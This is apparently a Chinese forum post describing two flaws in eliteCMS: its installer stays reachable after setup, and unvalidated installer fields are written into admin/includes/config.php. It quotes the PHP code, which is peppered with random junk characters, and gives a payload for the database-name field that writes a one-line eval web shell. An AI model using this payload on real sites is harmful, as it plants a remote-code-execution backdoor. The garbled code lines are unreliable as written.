eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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...
elseif ($_GET['step'] == "4") {
; k/ ]& s0 z3 W# a5 ?0 x0 Z$ _    $file = "../admin/includes/config.php";
: K1 ]: q6 r) ~% L    $write = "<?php\n";
6 e3 B0 A8 b% T" b# V6 q1 H    $write .= "/**\n";
4 z1 g( C) ]3 v( Y; a) U    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
: [+ K) m- m$ ?1 b4 U5 s) k& v! K...略...
+ l1 d, t& Q% g    $write .= "*\n";
* V2 e( L: x( m+ ?$ t& P& A    $write .= "*/\n";
    $write .= "\n";
6 t& E- x+ t) g% ^    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
3 ?1 E7 \6 D' j6 {- N# J! E    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
0 D0 c# O- x7 o- H/ l    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
( t/ |+ i% ?2 M1 b    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
- C" K1 N$ q+ z$ e    $write .= "        die(\"Database select failed\" .mysql_error());\n";
- D, v! W$ ?. X* j) Y2 l# ^. b    $write .= "        \n";
  W; t& {( V, w- Q    $write .= "} \n";
& o- Y" Q( R% U# h4 l! k( Q& x    $write .= "?>\n";

+ |& r3 o& c, x6 T* \' C7 H    $writer = fopen($file, 'w');
...
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9 l" q! n5 F9 B$ x在看代码：
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/ [! E# K2 [7 U" v5 J) [% \$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
7 ~2 X! g' t- v6 A- f$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
9 Y7 V8 g6 b1 A; v5 S8 s$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
8 V0 n2 H* [/ T3 |% r- }/ R如果将数据库名POST数据：

; N; ~3 R& ^4 v) \# G"?><?php eval($_POST[c]);?><?php
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! Z$ g7 l9 t' \) u将导致一句话后门写入/admin/includes/config.php